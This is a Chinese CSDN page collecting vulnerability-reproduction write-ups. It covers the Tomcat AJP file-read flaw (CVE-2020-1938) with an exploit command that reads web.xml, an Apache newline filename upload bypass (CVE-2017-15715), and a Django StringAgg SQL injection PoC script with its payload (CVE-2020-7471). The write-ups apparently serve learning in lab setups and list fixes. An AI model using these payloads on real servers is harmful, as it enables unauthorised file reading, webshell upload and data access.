漏洞复现_centos 漏洞复现 - CSDN
精华内容
参与话题
  • CVE-2020-1938漏洞复现

    2020-06-18 10:16:03
    一、漏洞描述 Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat 上所有webapp 目录下的任意文件,如:webapp 配置文件或源代码等。 二、Tomcat任意文件读取漏洞 Tomcat默认开启AJP服务,...

    一、漏洞描述
    Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat 上所有webapp 目录下的任意文件,如:webapp 配置文件或源代码等。
    二、Tomcat任意文件读取漏洞
    Tomcat默认开启AJP服务,运行在8009端口,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web上的任意文件。
    tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性。可以通过此种特性从而可以控制request对象的下面三个Attribute属性javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path 再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到应用目录下的任何文件。
    三、影响范围
    Apache Tomcat 9.x < 9.0.31
    Apache Tomcat 8.x < 8.5.51
    Apache Tomcat 7.x < 7.0.100
    Apache Tomcat 6.x
    四、漏洞复现
    因为现在来说这个漏洞已经不是那么新了,所以现在GitHub上也是有这个漏洞的POC/EXP https://github.com/zhzyker/exphub
    我这边是自己搭了一个win8虚拟机,装好java和tomcat作为模拟环境
    在脚本目录下执行命令python cve-2020-1938_exp.py -p 8009 -f WEB-INF/web.xml 192.168.123.42
    tip:在命令行中执行python cve-2020-1938_exp.py -h能查看该脚本的命令参数
    在这里插入图片描述
    五、漏洞修复
    1.更新到安全版本
    2.关闭AJP服务 ,修改Tomcat配置文件Service.xml在其中将<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />语句注释掉等

    展开全文
  • 漏洞复现学习手册

    2020-08-09 23:28:52
    JAVA反序列化漏洞复现 OpenSSH命令注入漏洞复现(CVE-2020-15778) F5 BIG-IP TMUI远程代码执行漏洞复现(CVE-2020-5902) DNS Server远程代码执行漏洞复现(CVE-2020-1350) CVE-2020-0688漏洞复现 CVE-2019-1040域...

    CVE漏洞:

    其他漏洞:

     

     

     

    展开全文
  • CVE-2017-15715漏洞复现

    千次阅读 2019-07-25 11:36:34
    复现环境 docke apache 2.4.0到2.4.29即可 php5.5 复现过程 先在物理机上创建目录 mkdir -p /var/www/html 然后创建个容器,并关联物理机的/var/www/html目录 docker run -d -v /var/...

    复现环境

    docke

    apache 2.4.0到2.4.29即可

    php5.5

     

    复现过程

    先在物理机上创建目录

    mkdir -p /var/www/html

    然后创建个容器,并关联物理机的/var/www/html目录

    docker run -d -v /var/www/html:/var/www/html -p 8080:80 --name apache php:5.5-apache

    再把物理机的/var/www/html开放写权限

    chmod 777 /var/www/html/

    写一个文件上传的php

    <?php if(isset($_FILES['file'])) {     $name = basename($_POST['name']);     $ext = pathinfo($name,PATHINFO_EXTENSION);     if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {         exit('bad file');     }     move_uploaded_file($_FILES['file']['tmp_name'], './' . $name); }

    这里过滤了php,php3,php4,php5,phtml,pht

    访问下抓包

    然后更改请求方式和内容类型

     

    上传一个1.php文件,会被拦截

    上传个2.txt,上传正常

    在上传个3.php并在文件名后面添加0a

    上传成功

     

     

    访问xxx/3.php%0a发现解析成功

     

    后记

    1. 默认的Apache配置文件即可利用,因为Apache配置使用了<FileMatch>:

    <FilesMatch \.php$>    

    SetHandler application/x-httpd-php

    </FilesMatch>

    后来测试发现回车的(0D)是不行的,虽然能上传成功,但是无法解析

    火狐

    谷歌

    2. 获取文件名时不能用$_FILES['file']['name'],因为他会自动把换行去掉,这一点有点鸡肋

     

     

    展开全文
  • CVE-2020-7471漏洞复现

    千次阅读 2020-03-25 12:15:53
    CVE-2020-7471漏洞复现1.1. 漏洞简介1.2. 漏洞影响范围1.3. 漏洞环境搭建(parrot 5.3.0-3parrot3-amd64)1.3.1. 安装 django 漏洞版本(测试使用版本为3.0.2)1.3.2. 安装postgres 数据库1.3.3. 创建测试数据库...

    1. CVE-2020-7471漏洞复现

    1.1. 漏洞简介

    2020年2月3日,Django 官方发布安全通告公布了一个通过StringAgg(分隔符)实现利用的潜在SQL注入漏洞(CVE-2020-7471)。攻击者可通过构造分隔符传递给聚合函数contrib.postgres.aggregates.StringAgg,从而绕过转义符号(\)并注入恶意SQL语句。

    1.2. 漏洞影响范围

    EG:

    /受影响版本
    Django 1.11.x < 1.11.28
    Django 2.2.x < 2.2.10
    Django 3.0.x < 3.0.3
    Django 主开发分支
    
    /不受影响产品版本
    Django 1.11.28
    Django 2.2.10
    Django 3.0.3
    

    1.3. 漏洞环境搭建(parrot 5.3.0-3parrot3-amd64)

    1.3.1. 安装 django 漏洞版本(测试使用版本为3.0.2)

    使用pip命令安装。
    EG:

    pip3 install django==3.0.2
    

    1.3.2. 安装postgres 数据库

    由于Debian默认包括PostgreSQL。要在Debian上安装PostgreSQL,可以直接使用apt-get(或其他apt-driving)命令,这里安装的是postgresql-11。
    (其他安装方式见:Linux 上安装 PostgreSQL
    EG:

    sudo apt-get install postgresql-11
    

    1.3.3. 创建测试数据库test

    初次安装postgres 数据库,系统会创建一个数据库超级用户 postgres,密码为空。使用命令(sudo -i -u postgres)进入postgres数据库,并创建测试数据库(test)。
    EG:

    sudo /etc/init.d/postgresql start
    sudo -i -u postgres
    psql
    ALTER USER postgres WITH PASSWORD '123';
    /更改用户postgres密码为123;
    CREATE DATABASE test;
    

    在这里插入图片描述

    1.3.4. 下载CVE-2020-7471到本地

    EG:

    git clone https://github.com/Saferman/CVE-2020-7471.git
    

    1.3.5. 修改配置文件

    修改文件…/CVE-2020-7471/sqlvul_projects/settings.py 里面的第78列下的数据库配置,如果之前安装postgres数据库使用的默认配置(包括密码),就无需修改任何任何配置,可以跳过这一步(我这里更改了初始密码故需要更改);
    EG:

    DATABASES = {
        'default': {
            'ENGINE': 'django.db.backends.postgresql',
            'NAME': 'test',         # 数据库名称
            'USER': 'postgres',
            'PASSWORD': '123', # 数据库用户密码
            'HOST': '127.0.0.1',    # 数据库地址
            'PORT': '5432',
        }
    }
    

    1.3.6. 利用CVE中的代码初始化测试数据库test中的表

    EG:

    python3 manage.py migrate
    python3 manage.py makemigrations vul_app
    python3 manage.py migrate vul_app
    

    使用命令就可以查看到插入到test库中的表以及表中数据
    EG:

    sudo -i -u postgres
    psql
    \c test
    \d
    select * from vul_app_info;
    

    在这里插入图片描述

    1.3.7. 运行 POC 脚本(CVE-2020-7471.py)查看结果

    EG:

    python3 CVE-2020-7471.py
    

    在这里插入图片描述

    1.3.8. 对POC 脚本(CVE-2020-7471.py)粗略分析

    EG:

    # encoding:utf-8
    import os
    import django
    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sqlvul_project.settings")
    
    # Django 版本大于等于1.7的时候,需要加上下面两句
    if django.VERSION >= (1, 7):#自动判断版本
        django.setup()
    
    from vul_app.models import Info
    from django.contrib.postgres.aggregates import StringAgg
    from django.db.models import Count
    
    """
    postgres 预先执行的SQL
    CREATE DATABASE test;
    \c test;
    \d 列出当前数据库的所有表格
    """
    
    def initdb():
        data = [('li','male'),('zhao','male'),('zhang','female')]
        for name,gender in data:
            Info.objects.get_or_create(name=name,gender=gender)
    
    def query():
        # FUZZ delimiter
        error_c = []
        other_error_c = []
        for c in "!@#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
            results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c))
            try:
                for e in results:
                    pass
            except IndexError:
                error_c.append(c)
            except:
                other_error_c.append(c)
        print(error_c)
        print(other_error_c)
    
    def query_with_evil():
        '''
        注入点证明
        分别设置delimiter为 单引号 二个单引号 二个双引号
        尝试注释后面的内容 ')--
        :return:
        '''
        print("[+]正常的输出:")
        payload = '-'
        results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
        for e in results:
            print(e)
        print("[+]注入后的的输出:")
        payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
        results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
        for e in results:
            print(e)
    
    
    
    if __name__ == '__main__':
        print(django.VERSION) # 测试版本 3.0.2
        initdb()
        query()
        query_with_evil()
    
    1.3.8.1. initdb()函数

    给管理器添加初始测试数据[(‘li’,‘male’),(‘zhao’,‘male’),(‘zhang’,‘female’)];

    1.3.8.2. query()函数

    进行模糊测试,找出当delimiter 的值为哪些字符时,会让程序运行出现错误(即使用哪些字符可能会干扰SQL语句的执行(将delimiter 输入的字符带入了SQL语句,破坏原有语句)),测试结果得出是单引号和百分号(具体测试流程可见文章:CVE-2020-7471 漏洞详细分析原理以及POC)。

    1.3.8.3. query_with_evil()函数

    进行注入点证明测试时,payload前后两个不同的赋值,是为了得到两个不同的结果,前一个使用正确的分隔符-,后一个是使用同样的分隔符-,但是后面带有SQL语句:

    ') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- 
    

    数据库进行查询时,使得整个查询语句变为了:

    SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", '-') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- 
    

    (需要注意的是,由于POC是python写的,这里的payload = ‘-\’) AS … LIMIT 1 OFFSET 1 – ‘中的\’,反斜杠的作用只是在payload字符串赋值时转义单引号),payload中的-’),使得STRING_AGG(“vul_app_info”.“name”, ‘-’)右括号闭合了,导致了后面的SQL语句的执行。(输出只出现一条,是因为使用了LIMIT,这是为了证明该SQL语句确实被执行了)

    2. 总结

    此次漏洞复现的过程中,可能需要注意的是在不同操作系统上的postgres数据库的安装,容易出现意外的问题,再然后就是关于测试环境以及CVE文件中的配置。从POC脚本文件中也能看出,编写者证明漏洞注入点的思维的缜密性,最后对于,运行POC脚本的结果,也能直观的感受到漏洞的存在点,以及潜在的危害。这一次的漏洞复现经历,又是一次宝贵的学习经验。

    [如有错误,请指出,拜托了<( _ _ )> !!!]

    [参考文档]
    https://github.com/Saferman/CVE-2020-7471
    绿盟科技安全情报:Django SQL注入漏洞(CVE-2020-7471)威胁通告
    CVE-2020-7471 漏洞详细分析原理以及POC

    展开全文
  • 很多小伙伴不知道漏洞复现怎么写,今天给大家看看我的…大佬勿喷 至于我为什么没有继续下去,大家可以去读一下白帽子行为规范,漏洞复现只需要证明存在该漏洞就行了 ...
  • RAR漏洞复现 CVE-2018-20250

    千次阅读 2019-03-07 22:04:13
    前言: 最近 Check Point安全团队又发现了WinRAR的四个漏洞 ACE文件验证逻辑绕过漏洞 [CVE-2018-20250] ACE文件名逻辑验证绕过漏 [CVE-2018-20251] ...网上流传最多的技术复现细节就是这个ACE文件验证逻辑绕过...
  • 漏洞复现】CVE 2019-0708 漏洞利用

    千次阅读 2019-06-15 11:59:41
    2019年5月14日微软官方发布安全补丁,修复了Windows远程桌面服务的远程代码执行漏洞,该漏洞影响了某些旧版本的Windows系统。此漏洞是预身份验证且无需用户交互,这就意味着这个漏洞可以通过网络蠕虫的方式被利用。...
  • Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现 一、 漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方未评定。 漏洞概述 Apache Tomcat是美国阿帕奇(Apache)...
  • CMS漏洞复现

    千次阅读 2019-07-19 23:16:48
    dedeCMS (CNVD-2018-01221) 类型: php类cms系统:dedecms、帝国cms、php168、phpcms、cmstop、discuz、phpwind等asp类cms系统:zblog、KingCMS等国外的著名cms系统:... dedeCMS (CNVD-2018-01221) 漏洞简介...
  • CVE-2019-11043漏洞复现

    千次阅读 2019-10-24 22:12:21
    漏洞介绍 nginx + php-fpm 配置不当,当nginx配置文件中有fastcgi_split_path_info,却没有if(!-f $document_root$fastcgi_script_name){return 404;}的时候就会导致远程代码执行。 二.漏洞详情 1> 构造环境,p牛...
  • Spring框架漏洞复现大杂烩!!!

    万次阅读 2019-02-28 11:18:08
    Spring框架漏洞复现大杂烩!!! 寻了半生的春天 你一笑 便是了 总体概述: Spring是一个开源框架,核心是控制反转(IoC)和面向切面(AOP)。简单来说,Spring是一个分层的JavaSE/EE full-stack(一站式) 轻...
  • 帝国cms7.5漏洞复现

    万次阅读 2019-05-10 15:56:10
    漏洞复现 三.原理分析 一.漏洞简介 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。 [影响版本] <=7.5 [漏洞危害] 高 [漏洞位置] /e/admin/...
  • 漏洞复现

    2019-07-19 23:29:11
    CMS漏洞复现 CMS是"Content Management System"的缩写,意为"内容管理系统"。 网站的开发者为了方便,制作了不同种类的CMS,可以加快网站开发的速度和减少开发的成本。 常见cms 环境搭建 CMS官网CMS 网站源码...
  • phpcms的漏洞复现

    千次阅读 2019-09-26 22:35:53
    xxxxxxxxxxx
  • uWSGI 漏洞复现

    2019-12-04 15:00:10
    uWSGI 漏洞复现(CVE-2018-7490) 背景介绍 uWSGI是一个Web服务器,它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器...
  • Tomcat_Ajp漏洞 由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。 影响版本: Apache Tomcat 6 Apache ...
  • 0x00 StrandHogg漏洞详情 StrandHogg漏洞 CVE编号:暂无 [漏洞危害] 近日,Android平台上发现了一个高危漏洞漏洞允许攻击者冒充任意合法应用,诱导受害者授予恶意应用权限 或者进行恶意钓鱼攻击 由于该漏洞...
  • 漏洞概况 ThinkPHP是一款国内流行的开源PHP框架,近日被爆出存在可能的远程代码执行漏洞,攻击者可向缓存文件内写入PHP代码,导致远程代码执行。虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的...
  • XXE漏洞复现

    2019-10-23 12:33:16
    引言~ XXE就是XML外部实体注入,当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击...复现平台:皮卡丘漏洞练习平台 libXML编译版本:2.7.8 libxm...
  • 文件上传漏洞复现

    2019-03-03 04:12:20
    文件上传漏洞复现 文件上传漏洞复现笔记 预备知识 文件上传漏洞 WebShell:webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门...
1 2 3 4 5 ... 20
收藏数 9,886
精华内容 3,954
关键字:

漏洞复现